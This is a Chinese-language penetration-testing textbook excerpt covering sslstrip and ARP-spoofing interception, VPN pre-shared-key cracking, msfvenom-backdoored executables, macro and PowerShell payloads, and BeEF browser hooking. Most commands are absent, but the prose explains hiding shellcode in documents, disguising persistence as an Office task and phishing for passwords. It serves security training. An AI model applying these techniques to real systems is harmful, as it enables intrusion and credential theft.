    {"text": "8.2.3 SSL连接的侦察 评估SSL连通性，尤其是审查下列事项时，杀链的侦察阶段仍然十分重要： ·在建立安全SSL连接时，识别参与者的x.509证书。 ·正在使用的加密类型。 ·配置信息，例如SSL会话的自动协商是否是允许的。 ·SSL证书可以提供用于促进社会工程的信息。 更加频繁的是，一个测试者或攻击者想要确定证书是否有效。无效证书可能源于验证签名时的一个错误，证书链毁坏，在证书中指定的域没有匹配该系统，或者证书已经过期、被撤销，或者是已知的被破解了。 如果一个用户曾接收到无效的证书，他将极有可能接收到新的无效证书，从而使攻击者的工作变得容易很多。 用于保护SSL连接的加密类型特别重要。加密密码分为以下几类： ·空密码（null ciphers）：这些密码用来验证传输的真实性和/或完整性。因为没有应用加密，所以不提供任何安全性。 ·弱密码（weak ciphers）：这个术语用来描述所有秘钥长度为128位或少于128位的密码。至于密钥交换协议中使用的Diffie–Hellman算法也可以被认为是弱密码，因为它们不能抵抗中间人攻击。由于碰撞攻击，MD5散列函数的使用也被认为是不安全的。最后，最近针对RC4的攻击也是因为这个问题。 ·强密码（strong ciphers）：这些都是密钥超过128位的密码。目前普遍接受的最安全的是256位的AES加密。如果可能的话，AES应该在伽罗瓦/计数器（Galois/Counter）模式中使用，它是一个同时支持认证和加密的现代分组密码。 SSL和TLS依靠密码组件（认证、加密和消息认证码算法的特定组合）为每个连接建立安全设置。这有30多个这样的密码组件，频繁地为每个安全需求选择最好选项的算法是复杂的，这导致用户违约选择不太安全的选项。因此，每个SSL和TLC连接必须被全面测试。 使用nmap或SSL特定应用程序的NSE模块，对SSL连接进行侦察，对nmapNSE模块的描述如表8.1所示。 表8.1 nmap NSE模块的描述 可以使用以下命令，从命令行调用一个脚本： 在下面的示例中，ssl-cert脚本是由最大冗长的-vv选项调用的。从这个脚本中得到的数据如图8.12所示。 在侦察期间，测试人员可以选择使用下面的命令，启动所有的SSL特有模块： 图8.12 调用ssl-cert脚本获得的信息 针对SSL和TLS的Kali侦察和攻击工具，可以从命令行或从菜单Kali Linux|Information Gathering|SSL Analysis引导调用。这些工具的总结如表8.2所示。 表8.2 针对SSL和TLS的Kali侦察和攻击工具介绍表 最常用的程序是ssl扫描，它查询SSL服务以确定证书的详细信息和其支持的密码，并以文本和XML格式输出。 当使用--no-failed选项测试一个特定的连接时，sslscan只显示其接受的密码组件，如图8.13所示。 图8.13 调用--no-failed选项，显示密码组件 sslyze python工具分析服务器的SSL配置、验证证书的有效性、测试弱密码组件、确定可以支持更多攻击的配置信息。如图8.14所示，示例输出中已经确认一个证书不匹配一些攻击类型。 图8.14 扫描结果 另一个SSl侦察工具是tlssled，如图8.15所示。它运行速度快，操作简单，且输出对用户友好。 图8.15 运行tlssled 不管你用什么方法进行SSL侦察，确保你已通过运行至少两种不同的工具交叉验证了你的结果。此外，所有的SSL配置设备并不是同时在线。因此，在大型网络上，确保你在测试过程中，多次扫描了SSL漏洞。 目前，一个最新发展起来的工具是OWASP的O-Saft（ www.owasp.org/index.php/O-Saft ），它提供了SSL配置、密码、证书数据的全面概述。"},
    {"text": "8.2.4 使用sslstrip进行中间人攻击曝光 尽管SSL提供安全保护，但仍有一些针对该协议的有效攻击。在2009年，Moxie Marlinspike演示了sslstrip，一个用于网络上透明地劫持HTTP流量，并且重定向HTTP或HTTPS链接的流量工具。它消除了SSL的保护，并向受害者的浏览器返回安全锁图标，致使流量拦截不容易被侦察到。 简而言之，sslstrip对SSL发起中间人攻击，致使之前的安全数据被截获。 使用sslstrip，首先必须使用以下命令，配置拦截系统为转发模式： 接下来，设置iptables防火墙，直接使用以下命令重定向sslstrip的HTTP流量： 在这个例子中，我们设置监听端口号为5353。 配置完成后，使用下面的命令运行sslstrip： 上述命令的执行结果，如图8.16所示。 图8.16 运行sslstrip–l 5353 最小化的活动终端窗口正在执行sslstrip，并打开一个新的终端窗口。使用ettercap欺骗ARP，并使用以下命令重定向，从网络或目标系统拦截系统的流量： 在这里，ettercap–T分支只选择文本界面，-q强制控制台进入静态模式，-m选项可以激活中间人攻击来截获和重定向数据包。arp：remote选项实现ARP中毒攻击，并把攻击者作为有能力查看和修改数据包传输的中间人。remote分支选项询问你是否想通过网关查看远程IP地址和通信。 前面命令的执行结果，如图8.17所示。 图8.17 运行ettercap–TqM 如果目标系统想要访问SSl安全保护的内容，他们的查询可以直接通过网关到达拦截系统。 从用户的角度来看，他们将直接到网站，并且给出一个安全警告There is a problem with the site’s security certificate（该网站的安全证书有问题），促使他们决定继续访问。如果他们选择Yes，他们将被引导至他们选择的页面。在浏览器右下角的锁图标表明SSL在使用，这也表明他们的通信是安全的。 在后台，sslstrip工具删除了SSL，丢弃可以在ettercap日志中查看的原始内容，如图8.18所示。 图8.18 运行sslstrip工具 这种攻击是所有相同的第2层网段中唯一有效的攻击。然而，它在有线和无线网络上都是成功的。虽然ARP重定向可以在一个网段中应用，但是这样的攻击会影响网络带宽，并可能被检测到。因此，直接攻击单一设备是最有效的。 禁用PREROUTING规则，用-D取代-A。清除防火墙规则，使用iptables–t nat–F（刷新命令）和iptables–t nat–L（确认表已被清除）。 8.2.5 针对SSL的拒绝服务攻击曝光 当一个SSL连接被建立时，服务器必须完成一系列的密集计算，去发起信号交换并启动加密。这涉及部分客户端的少量计算工作和服务器的大量计算工作。 如果一个客户端发起SSL连接，但拒绝服务器的响应，SSL连接将不会被建立。但是，如果SSL服务器被配置成自动协商连接，计算的工作量将导致拒绝服务攻击。 Kali Linux有几个工具，允许你自己决定是否允许自动重新协商，包括sslyze和tssled。 如果自动重新协商是允许的，那么输入以下命令将允许测试人员对拒绝服务攻击的能力进行评估： 上述命令的执行结果，如图8.19所示。 图8.19 运行thc-ssl-dos命令 8.3 攻击IPSec虚拟专用网络 虚拟专用网络（virtual private network，VPN）使用因特网来提供偏远地区，或同一个网络中的不同用户之间的安全（加密）通信。有两种类型的虚拟专用网络：IPSec和SSL。 IPSec是虚拟专用网络中最常见的用于网络和连接的主机之间建立安全连接的协议。 在IPSec中，有以下几个执行特定功能的子协议，主要包括以下内容： ·认证头（Authentication Header，AH）：这对IP数据包提供原始证明，保护它们以抵抗重放攻击。 ·封装安全有效载荷（Encapsulation Security Protocol，ESP）：该协议提供了原始传输数据的真实性、完整性和机密性。 ·安全关联（Security Association，SA）：这是一套用于加密和认证传输数据的算法。因为SA与一个方向上传输数据相关联，双向通信需要一对安全关联提供安全性。安全关联是使用网络安全协会和密钥管理协议（Internet Security Association and Key Management Protocol，ISAKMP）建立的，它可以通过几种方式来实现。当测试VPN的安全性时，其中一个最脆弱的配置依赖预先共享密钥，即因特网密钥交换（Internet Key Exchange，IKE）。 评估VPN的安全性，测试人员需要遵循这些基本步骤： 1.扫描存在的VPN网关。 2.使用VPN网关的指纹机制来确定供应商和配置细节。 3.根据VPN供应商或相关产品寻找相关漏洞。 4.截获预共享密钥。 5.执行离线PSK攻击。 6.检查用户的默认账户。"},
    {"text": "8.3.1 扫描VPN网关 扫描VPN网关，可以使用nmap或ike-scan。使用nmap，需要执行如下命令： 本例中，-sU指示nmap使用UDP数据包扫描可能的目标主机范围（而非TCP），-Pn用于确保nmap不会发送一个ping扫描（它可以警告目标注意本次扫描并且识别测试人员），而-p 500标识了特定的扫描端口。 由于nmap处理IKE数据包的方式，它不一定能找到所有的VPN网关。最有效的工具是发送正确格式的IKE数据包到目标系统，并显示返回的消息内容。 ike-scan是用来定位VPN网关的最好工具（通过导航Kali Linux|Information Gathering|VPN Analysis可以找到）。ike-scan的命令行工具，使用IKE协议来发现和识别私有网络。它还支持IKE积极模式中的预共享密钥。使用如下命令，ike-scan可以定位目标： 前面命令的执行结果如图8.20所示。 -M交换机返回一行中的每个负载，并简化输出。 ike-scan工具对目标设备进行各种变换的测试。一个变换包含以下属性：加密算法（DES和3DES）、散列算法（MD5和SHA1）、身份验证方法（预共享密钥）、Diffie-Hellman组（选项一是768位，选项二是1024位）和生存期（28800秒）。它将确定哪些变换引发了成功的响应。 图8.20 运行ike-scan-M命令 在ike-scan完成对每个设备的确定之后，程序将返回以下几个内容之一： ·0returned handshake（返回握手）；0returned notify（返回通知）：这表明目标不是一个IPSec网关。 ·0returned handshake；1returned notify：这表明尽管VPN网关是存在的，但所有由ike-scan提供的变换都是不可接受的。 ·1returned handshake；0returned notify：正如图8.20所示，这表明目标配置了IPSec，并将对一个或多个提供给它的变换执行IKE协商。 8.3.2 指纹识别VPN网关 如果你能与VPN网关建立握手连接，你可以引导识别的设备产生指纹，返回以下信息： ·供应商和模型 ·软件版本 这些信息用于识别供应商特定的攻击，或者用于调整通用的攻击。 如果VPN由一个防火墙控制，那么指纹识别机制也可以识别出该防火墙。 因为IKE并不能保证数据包传输的可靠性，多数VPN网关厂商使用专有协议来处理似乎已经丢失了的流量。ike-scan向VPN网关发送IKE探测包，但ike-scan对它收到的响应信息并不做任何回复。服务器响应数据包丢失，并实施其补偿策略重新发送数据包。通过分析数据包和重新发送数据包的数量之间的时间差异，ike-scan扫描工具可以识别供应商。 如图8.21所示的例子，-M选项单独显示行有效载荷，它使输出更容易阅读。ike-scan扫描工具的-showbackoff选项（如图8.21所示），记录所有发送和接收数据包的响应时间，然后记录显示延迟了60秒的结果。 图8.21 运行ike-scan-M-showbackoff ike-scan扫描工具也可以用来确定网关是否支持积极模式，如果支持，它很难和服务器建立握手连接，因为它不会做出响应，直到一个有效的ID作为有效载荷的一部分被提供。 8.3.3 截获预共享密钥 ike-scan工具可以用来推动VPN网关进入积极模式。这点很重要，因为IPSec的积极模式不保护预共享密钥。身份验证凭证作为明文被发送，因此它可以被离线工具截获和破解。 在下面的例子中，使用以下命令发布了一个思科VPN集中器： 上述命令的执行结果，如图8.22所示。 图8.22 运行ike-scan--pskcrack 如果你想把结果封装为文本文件，用于附加分析、离线密码破解，可使用以下命令： 8.3.4 执行离线PSK破解 在使用离线工具破解捕获的预共享密钥的散列值之前，编辑只包含散列值（它应该包含9个冒号隔开的值）的输出文件。psk-crack是最有效的破解密码的工具，它支持字典攻击、蛮力攻击和混合方式的破解。 像所有离线破解练习一样，成就是对工作和努力的测量（时间、计算工作量和投资能源的电力系统）。一个强的预共享密钥，比如在图8.23中所显示的，去破解它将会花费很长时间。 图8.23 运行psk-crack 8.3.5 确定默认用户账户 像大多数的硬件设备一样，VPN网关通常在安装的时候，包含默认用户账户。这些账户管理员无权更改。使用指纹识别过程中收集的信息，测试人员可以进行网络搜索来确定标准的用户账户。 如果测试人员能够访问用户的计算机，用户名凭据通常以明文形式存储在系统的注册表中。此外，如果一个测试人员能够访问系统的内存，他可以直接从客户端系统的内存转储中获取密码。 Vuln VPN（ http://www.rebootuser.com ）是一个虚拟的操作系统，并且有漏洞的VPN服务器。它可以让你应用本章中描述的工具，破解应用程序并在不损害系统的前提下获得root访问权限。 8.4 小结 在这一章中，我们调查研究了如何利用常见的远程访问应用程序，包括那些使用密码格外附加安全的应用。我们利用操作系统通信协议（RDP和SSH）及VNC应用程序。同时也学会了如何对安全套接字层连接、虚拟专用网络，以及降低加密有效性的攻击类型进行侦察。 在下一章中，我们将看到针对特定通信信道的联合攻击结果。在检查客户端（漏洞）利用有效性的同时，我们将回顾几种攻击类型，如浏览器开发框架（Browser Exploitation Framework，BeEF）项目。"},
    {"text": "第9章 客户端攻击技术详解 “客户端漏洞利用能力取决于攻击者的能力。” 对于攻击者或有效的渗透测试者来说，最大的挑战是绕过一个目标的安全控制实现入侵。当目标系统位于网络时，这可能是困难的，因为攻击者通常需要绕过防火墙、代理服务器、入侵检测系统和一个深度防护体系结构的其他元素。 一个成功的解决策略是直接把客户端应用程序作为攻击目标。用户发动与客户端应用程序的交互，允许攻击者利用现有用户和应用程序之间的信任优势。社会工程学方法的使用将提高客户端攻击成功的可能性。 客户端攻击的目标系统通常是缺乏安全控制装置（尤其是防火墙和入侵检测系统）的企业系统。如果这些攻击是成功的，并且建立了持久稳定的通信，那么客户端设备可以发起攻击，一旦其重新连接到该目标网络上。 通过本章学习，你将学到如何攻击客户端应用程序，可使用下面的方法（工具）： ·后门可执行文件 ·恶意脚本攻击（VBScript和PowerShell） ·浏览器开发框架（Browser Exploitation Framework） 9.1 留后门的可执行文件 留后门是一种绕过正常的安全验证、维护持续访问该系统的方法。任何网络间谍活动中，最薄弱的环节是人为因素。攻击者通常会利用最近已知或未知的漏洞将它们嵌入到受信任的可执行文件中，并且分发出去。在本节中，我们将深入探讨如何利用msfvenom在任何可执行的文件中植入后门。 msfvenom是使用Metasploit msfpayload和msfencode的独立负载发生器。截至2015年8月6日，msfvenom已经取代了msfpayload。引入该工具是为了使其标准化，并对渗透测试者更有效。它是由Kali Linux默认安装的，当你在终端使用msfvenom-h，则必定会出现以下信息（见图9.1）： 图9.1 执行msfvenom–hd截图 使用-p选项允许测试人员选择他们需要的载荷嵌入-k选项。我们将通过创建另一个线程来克隆可执行文件的行为；换句话说，它将克隆程序并插入reverse_tcp负载。x选项复制具有相同特性的可执行模板。 一个例子是，下载任何便携式游戏。在这种情况下，我们将使用putty.exe使得game.exe如图9.2所示。 图9.2 使用putty.exe 攻击者可以利用编码器使攻击更有效；在这种情况下，我们将使用shikata_ga_nai，如图9.3所示。 一旦可执行文件准备完成，你就可以应用社会工程学技术找到不同的方法交付文件，或者让用户直接从你选择的位置下载。 在一切顺利完成后，攻击者将设置其系统以监听任何连接。在渗透测试期间，可能不需要再写任何关于有效负载、调回IP地址、端口号和回接会话等内容。可以通过如下所示的简单脚本配置。 图9.3 使用shikata_ga_nai的截图 用以下特定的Metasploit命令创建一个文件；在我们的例子中，称指定文件为Listen： 创建脚本后，只需在终端中使用以下命令运行脚本文件： 一旦受害者打开可执行文件，就会在攻击者控制台生成一个反向shell，如图9.4所示。 图9.4 攻击者控制台反向shell 一旦系统建立了一个成功的Meterpreter会话，攻击者可以通过输入sessions-i 1连接到会话，建立全面的对系统的访问，如图9.5所示。 图9.5 执行sessions–i 1 注意： sessions-i 1这个数字可能根据有多少个目标打开可执行文件，并与攻击者建立反向shell会话而发生变化。 9.2 使用恶意脚本攻击系统曝光 客户端脚本（如JavaScript、VBScript、PowerShell）被开发成移动的应用逻辑程序、并且在从服务器到客户端的计算机上操作。从攻击者或测试者的角度来看，使用这些脚本有以下几个优点： ·它们已经是目标操作环境的一部分；攻击者不需要传输大型编译器，或其他辅助文件（如加密软件）到目标系统。 ·脚本语言设计的目的是便于计算机操作，如配置管理和系统管理等。例如，它们可以用来发现和更改系统配置、访问注册表、执行程序、接入网络服务和数据库、并通过HTTP或电子邮件传输二进制文件。这样的标准脚本操作可以很容易地为测试者所使用。 ·因为它们原产于该操作系统环境，所以它们通常不会触发防病毒警报。 ·它们很容易被使用，因为编写该脚本仅需要一个简单的文本编辑器。使用脚本发起攻击毫无障碍。 从历史上看，JavaScript是用来发动攻击的首选脚本语言，这是因为JavaScript广泛用于大多数目标系统。由于JavaScript攻击的特点已经众所周知，我们将重点关注Kali如何使用最新的脚本语言：VBScript和PowerShell，使攻击变得容易。"},
    {"text": "9.2.1 使用VBScript进行攻击曝光 VBScript（Visual Basic Scripting Edition，可视化基本编辑脚本）是一个由微软开发的活动脚本语言（Active Scripting language）。它被设计成一个轻量级、可以执行小程序的微软本地语言。自Windows 98以来，VBScript就被默认安装在Microsoft Windows发布的每一个桌面版本中，这使它成为客户端攻击的首选目标。 使用VBScript发起攻击，我们将从命令行中调用Metasploit的msfpayload： 注意，f指定输出为一个VBS宏脚本。输出将显示为两个特定部分的文本文件，如图9.6所示。 要使用该脚本，打开Microsoft Office文档，并创建一个宏（具体命令将取决于Microsoft Windows使用的版本）。从下面给出的信息框中（见图9.7），复制文本的第一部分（从Sub Auto_Open（）到最后的End Sub）到宏编辑器，并启用宏将其保存。 图9.6 调用msfpayload 图9.7 宏代码的信息框 接下来，复制shellcode到实际的文档中。shellcode部分摘录如图9.8所示。 图9.8 shellcode部分摘录 shellcode被看作一个可用于执行攻击的脚本，所以你可能希望通过最小化字体大小和制作颜色匹配文档的背景等方式，来隐藏、混淆shellcode。 攻击者必须在Metasploit上设置一个监听器。在命令符提示下进入msfconsole后，攻击者通常会输入以下命令并设置主机、端口和有效载荷等选项；此外，攻击者将配置连接自动转移到更稳定的explorer.exe进程。如下命令行所示： 把上述各行加入到一个文件中，命名为vbexploit.rc，然后运行下面的命令行： 当文件发送到目标，一旦其打开，目标即会弹出安全警告；因此，攻击者将使用社会工程学迫使预定的受害者选择Enable（启用）选项。最常见的方法之一，就是在已配置的Microsoft Word文档或Excel电子表格中嵌入宏用来玩这个游戏。 启动该文件将创建一个相反的TCP命令解释器，并返回给攻击者，允许攻击者用于维持和目标的持久稳定连接，并执行随后的后期利用活动。 为了扩展这种攻击方法，我们可以使用位于/usr/share/metasploit-framework/tools下的exe2vba.rb，将任何可执行文件转换成VBScript。 例如，首先使用Metasploit框架创建一个后门。注意，X表示后门，将作为可执行文件（attack.exe）被创建，如图9.9所示。 图9.9 使用Metasploit创建后门 接下来，使用以下命令执行exe2.vba，把可执行文件转换成VBScript（确保使用了正确的路径）： 这允许将可执行文件放置在微软的启用了宏的文件里的，并发送给客户端。VBScript可用于执行反向外壳和更改系统注册表，以确保命令解释器保持持久稳定性。我们发现这种类型的攻击是绕过网络安全控制最有效的方法之一，并可用于维护一个安全的网络连接。 从攻击者的角度来看，使用基于VBScript的利用（这仍然是一个强大的工具）有一些显著的优势。但是，它正在迅速被一个更强大的脚本语言PowerShell所取代。 9.2.2 使用Windows PowerShell攻击系统曝光 Windows PowerShell是一个用于系统管理的命令行外壳解释器及脚本语言。 基于.NET框架，它扩展了VBScript的可用功能。该语言本身很容易扩展，因为它建立在.NET库上，你可以从C#或者VB.NET语言中合并代码。你也可以利用第三方数据库。尽管具有扩展性，但它还是一种简洁的语言。仅用10行PowerShell代码就可完成超过100行的VBScript代码所实现的功能！ 也许，PowerShell最大的优点是，在大多数基于Windows的现代操作系统（Windows 7及其更高的版本）上默认使用，且不能被删除。 我们将使用包括Metasploit框架的PowerShell脚本支持攻击阶段的杀链。 为了发起攻击，我们将使用Metasploit框架的PowerShell Payload Web Delivery模块。该模块的目的是为了在目标系统上快速建立会话。该攻击不写入磁盘，因此不可能触发客户端防病毒检测。发起攻击和可用模块的选项如图9.10所示。 图9.10 Metasploit框架的模块选项 在攻击完成之前，攻击者必须为即将传入的shell脚本准备一个监听器（URIPATH由Metasploit随机生成；确保已为监听器设置了正确的URIPATH）。创建监听器的命令如下所示： Metasploit框架将生成一个一行的Python脚本，可嵌入文档或者在目标上运行，如图9.11所示。 图9.11 运行msfconsole 一个成功的攻击将在攻击者的系统上创建一个交互式的外壳脚本。 使用schtask命令让psh_web_delivery持久稳定是可能的。以下命令将创建一个预定任务，MSOfficeMngmt，其登录系统后将执行powershell.exe（默认情况下，位于Windows\\system32目录下）： 其他的PowerShell脚本，旨在支持后期利用活动的脚本，在Kali的PowerSploit目录中可以找到。尽管PowerShell有很好的灵活性，但仍具有不足之处。 例如，如果包含宏的文件，被最终用户在一个持久机制应用之前关闭，则连接丢失。 更重要的是，脚本VBScript和PowerShell只在微软环境中有用。为了扩展客户端的攻击范围，我们需要寻找一个可以被利用的通用客户端漏洞，而不考虑其操作系统环境。这种漏洞的一个具体实例是跨站点脚本。"},
    {"text": "9.3 跨站点脚本框架 跨站点脚本（Cross-Site Scripting，XSS）漏洞，据说是最常见的、能在网站上找到的、可利用的漏洞。由于缺乏输入数据清理，XSS漏洞普遍存在。 一个XSS攻击涉及三个实体：攻击者、受害者、脆弱网站或Web应用程序。攻击产生的本质原因在于脆弱网站上的HTML页面上有一个可以返回用户输入的脚本，而该脚本并不对用户的输入进行任何审查。这就使得攻击者可以在其中输入JavaScript代码，而受害者在浏览器打开这个页面时，该JavaScript脚本就被执行了。因此，有可能构造一个指向该脆弱网站的链接，该链接中的一个参数就是恶意JavaScript代码。这样，获取受害者访问该脆弱网站cookie的JavaScript代码将在受害者打开的浏览器环境中被执行。 至少有两个主要类型的XSS漏洞：非持久的（non-persistent）和持久的（persistent）。 最常见的类型是非持久的或反映漏洞的。当由客户端提供的数据被服务器直接使用并显示响应时，这些漏洞将会产生。此种漏洞的攻击，可以通过电子邮件，或第三方网站提供一个似乎值得信赖，但包含XSS攻击代码的URL而发生。如果可信站点很容易受到这种特定的攻击，在执行环节可能导致受害者的浏览器执行恶意脚本，并可能会俘获受害者。 持久的（存储）XSS漏洞将出现，当攻击者提供的数据被服务器保存，然后在他们浏览网页的过程中，永久地显示在其信任的网页中。这通常发生在网上留言板和博客中，这里允许用户张贴HTML格式的消息。一个攻击者可以将恶意脚本放入网页，其对即将到来的用户是不可见的，但其可以入侵受影响网页的访客。 一些存在于Kali Linux上的工具可以找到XSS漏洞，包括xsser和各种各样的漏洞扫描器。然而，也有一些工具可以让测试者充分利用XSS漏洞，并展示该漏洞的严重性。 跨站点脚本框架（Cross-Site Scripting Framework，XSSF）是一个多平台的安全工具，其利用XSS漏洞在目标上创建通信通道，并支持攻击模块，包括以下内容： ·对目标浏览器（指纹和以前访问URL）、目标主机（检测虚拟机，获取系统信息，注册密钥和无线密钥）和内部网络进行侦察。 ·发送弹出的警报消息到目标系统。这种简单的“攻击”可用来展示XSS的脆弱性，然而，更复杂的警报可以模拟登录提示和捕获用户的身份认证凭证。 ·窃取信息记录程序，使攻击者冒充目标。 ·重定向目标来查看不同的网页。一个恶意的网页可以自动下载漏洞，并且利用到目标系统上。 ·加载PDF文件或Java小程序到目标系统上，或者窃取数据，如从安卓移动设备中窃取SD卡的内容。 ·发动Metasploit攻击，包括browser_autopwn，以及拒绝服务攻击。 ·发动社会工程攻击，其中包括自动完成盗窃、点击劫持（clickjacking）、假闪存更新、网络钓鱼和标签绑架等。 此外，XSSF隧道（XSSF Tunnel）功能允许攻击者冒充受害者，使用他们的凭证浏览网站与会话。这可能是一种有效的、用来访问企业内部局域网的方法。 该API是有据可查的，可以很容易地创建新的攻击模块。因为它是用Ruby编写的，该API集成了Metasploit的框架，允许攻击者发动更多的攻击。 使用XSSF，支持一个攻击，必须安装和配置，具体步骤如下： 1）下载 https://code.google.com/archive/p/xssf/downloads 。 2）使用unzip XSSF-3.0命令解压下载文件。 3）使用explorer文件将XSSF-3.0中的所有文件移到/usr/share/metasploit-framework/中。 4）确认你没有覆盖文件与文件夹，你必须选择Merge，如图9.12所示。 图9.12 使用Merge 5）从Metasploit框架控制台，使用load xssf加载XSSF插件，接着使用xssf_urls命令，结果如图9.13所示。 图9.13 使用xssf_urls命令 6）我们将使用Web应用漏洞——Mutillidae，来证明XSSF。一旦打开Mutillidae，导航到博客如图9.14所示。 图9.14 应用Mutillidate 7）为了对目标客户发起攻击，不要定期发布到博客，而是输入包含目标的URL和端口的脚本元素： 图9.15显示了攻击代码的位置在目标网站的博客页面中。 图9.15 包含恶意代码的博客页面 当这些代码被输入且受害者点击保存博客条目（Save Blog Entry）时，他们的系统将被侵入。从Metasploit框架的控制台，测试者可以使用xssf_victims和xssf_information命令获取每个受害者的信息。在执行xssf_victims命令时，每个受害者的信息均被显示，如图9.16所示。 图9.16 执行xssf_victims命令显示受害者信息 在这一点上，最常见的XSS攻击是发送一个简短而相对无害的消息或向客户端报警。使用Metasploit框架，可以相对简单地实现，输入以下命令： 审查选项之后，警报可以迅速通过命令行发送，如图9.17所示。 图9.17 受害者看到消息 一般来说，大多数测试者和他们的客户验证跨站点脚本，使用这种简单的警告消息。这证明了一个“漏洞”的存在。 然而，简单的警报缺乏情绪的影响。通常情况下，它们确定的是一个真正的漏洞，但客户并不响应和处理该漏洞，因为警报消息不被认为是一个显著的威胁。幸运的是，XSSF允许测试者“提高赌注”，并表现出更复杂、更危险的攻击。 XSSF可以用来获取cookies、作为一个键盘记录程序、也可以伪造跨站请求（CSRF）、重定向攻击、捕获摄像头图片。然而，类似的攻击可以通过BeEF实现。"},
    {"text": "9.4 浏览器开发框架——BeEF BeEF（Browser Exploitation Framework）是一种开发工具，专注于一个特定的客户端应用程序：Web浏览器。BeEF允许攻击者使用如XSS或SQL注入的攻击，将JavaScript代码注入到脆弱的HTML代码。这种攻击代码被称为钩（hook）。破坏是由浏览器执行钩时实现的。浏览器（僵尸）连接回BeEF应用程序，其提供给浏览器的JavaScript命令或模块。 BeEF的模块执行任务如下： ·指纹识别和受损浏览器的侦察。它也可以作为一个平台，用来评估存在于不同浏览器上的攻击和它们的行为。 需要注意的是，BeEF允许我们在同一客户端上钩住多个浏览器，以及在一个域内的多个客户端，并在利用和后期利用阶段管理它们。 ·指纹识别目标主机，包括存在的虚拟机。 ·在客户端上检测软件（仅限互联网浏览器），并获得在程序文件（Program Files）和程序文件（x86）目录里的目录列表。这可以识别其他可以被利用的应用程序，以维持我们在客户端上的状态。 ·使用受损系统的网络摄像头摄取照片，这些照片在报告中有重要的影响。 ·对受害者的数据文件进行搜索，并窃取可能包含身份验证凭证的数据（剪贴板中的内容和浏览器的信息记录程序）或其他有用信息。 ·实现浏览器击键记录。 ·使用ping扫描和指纹机制对网络设备进行网络侦察，并扫描开放端口。 ·从Metasploit框架发动攻击。 ·使用隧道代理扩展，利用受损Web浏览器的安全权限，攻击内部网络。 因为BeEF是用Ruby编写的，它支持多个操作系统（Linux、Window和OS X）。更重要的是，它很容易在BeEF及其扩展功能中定制新模块。 配置Beff Beff默认安装在Kali中的/usr/share/beef-xss目录。 在默认情况下，Beff没有集成到Metasploit框架中。要集成Beff，则需要执行以下步骤： 1）编辑位于/usr/share/beef-xss/config.yaml中的主要配置文件以便阅读。 2）编辑位于/usr/share/beef-xss/extensions/metasploit/config.yml中的文件。你需要为Metasploit框架编辑行：host、callback_host、os'custom'，以及包括你的IP地址和位置的path。一个正确编辑后的config.yml文件如图9.18所示。 图9.18 正确编辑的confi g.yml文件 3）开启msfconsole，并加载msgrpc模块，如图9.19所示。确保已包含密码： 图9.19 加载msgrpc模块 4）使用以下命令启动BeEF： 5）如果消息显示成功连接到Metasploit（Successful connection with Metaspliot），同时显示Metasploit攻击已经加载，说明BeEF启动成功。成功启动后的消息如图9.20所示。 图9.20 BeEF启动成功 当你重启BeEF，可用-x开关复位该数据库。 在这个例子中，BeEF服务器运行在192.168.213.128，并且“钩URL网址”（我们希望目标是激活）是在192.168.213.128：3000/hook.js上。 大部分管理和BeEF的管理是通过Web界面完成的。要访问控制面板，首先访问 http://<IP Address>:3000/ui/panel 。 默认的登录凭证是Username：beef和Password：beef，如图9.21所示，除非这些在config.yaml中发生了变化。 图9.21 项目BeEF登录页面"},
    {"text": "9.5 BeEF浏览器的演练 当BeEF控制面板启动时，它将显示开始（Getting Started）屏幕；包含链接到在线网站，以及演示可用于验证各种攻击的页面。BeEF控制面板的显示如图9.22所示。 图9.22 BeEF控制面板 如果你已经钩到一个受害者，则接口将被分为两个面板： ·面板的左侧是带钩浏览器（Hooked Browsers），测试人员可以看到每一个连接浏览器，列出了有关其主机操作系统的信息：浏览器类型、IP地址，以及安装的插件。因为BeEF设置了一个信息记录程序来识别受害者，它可以参考这些信息来保持受害者名单的一致性。 ·面板的右侧所有的动作已被启动，并且获得了结果。在Commands选项卡中，我们看到一个使用不同攻击向量的分类存储库，其可以攻击上钩的浏览器。此视图将根据不同浏览器的类型和版本而有所不同。 BeEF采用颜色编码方案，描述关于特定的目标及其可用的基础命令。使用的颜色如下： ·绿色（Green）：表明该命令模块对目标工作，将被受害者检测到。 ·橙色（Orange）：表示该命令模块对目标工作，它可能被受害者检测到。 ·灰色（Gray）：表明该命令模块尚未得到目标验证。 ·红色（Red）：表明该命令模块针对目标不工作。它可以被使用，但不能保证成功，它的使用可能被目标检测到。 必须对这些指标持有怀疑态度，因为变化的客户端环境可以使一些命令失效，或可能导致其他意想不到的结果。 要启动一个攻击或拦截一个受害者，我们需要用户点击上钩的网址，其形式如<IP ADDRESS>：<PORT>/hook.js。可以通过使用各种手段来实现，其中包括： ·最初的XSS漏洞。 ·中间人攻击（尤其是那些使用BeEF Shank，an ARP欺骗工具，专门针对内部网络中内部站点的攻击）。 ·社会工程攻击，包括BeEF网络克隆工具和大量电子邮件，由假冒的iFrame定制的钩点，或二维码生成器。 一旦浏览器被钩住，它将被称为僵尸。从Hooked Browsers面板上，命令接口的左侧选择该僵尸的IP地址，然后参考可用命令。 在图9.23所示的例子中，有几种不同的攻击均可用于带钩浏览器的管理选项。一个最简单的攻击选择是使用社会工程Clippy攻击。 图9.23 Clippy攻击 当Clippy从Commands下的Module Tree被选出时，一个具体的Clippy在最右侧的面板启动，如图9.24所示。它允许你调整图像，提供文本和将在本地发动的可执行文件，如果受害者点击了提供的链接。在默认情况下，自定义文本通知受害者他们的浏览器已过期，为他们提供更新，下载可执行（无恶意的）文件，然后感谢执行升级的用户。所有这些选项可以由测试人员更改。 当执行Clippy时，受害者将在他们的浏览器上看到一条消息，如图9.24所示。 图9.24 在Clippy攻击中，受害者看到信息 这是一个非常有效的社会工程攻击。在与客户的测试中，我们有大约70%的成功率（客户端下载一个无恶意的指标文件）。 一个更有趣的攻击是Pretty Theft，其要求用户提供最热门网站的用户名和密码。例如，对于Facebook的Pretty Theft选项，可以由测试人员进行配置，如图9.25所示。 图9.25 Pretty Theft选项 当执行攻击时，受害者呈现一个似乎合法的弹出，如图9.26所示。 图9.26 受害者看到的要求输入Facebook密码的界面 在BeEF中，测试人员审查该攻击的历史记录，可以在Command results列的data字段中获得用户名和密码，如图9.27所示。 图9.27 从历史数据中发现用户名及密码 另一个可以快速启动的攻击是老式的网络钓鱼；一旦浏览器勾住了BeEF，将用户重定向到攻击者控制的网站就相当简单了。 9.5.1 整合BeEF和Metasploit攻击 BeEF和Metasploit框架均是用Ruby开发的，并且可以一起使用来攻击目标。由于其使用客户端和服务端的指纹识别确定目标，所以browser_autopwn是一个最成功的攻击。 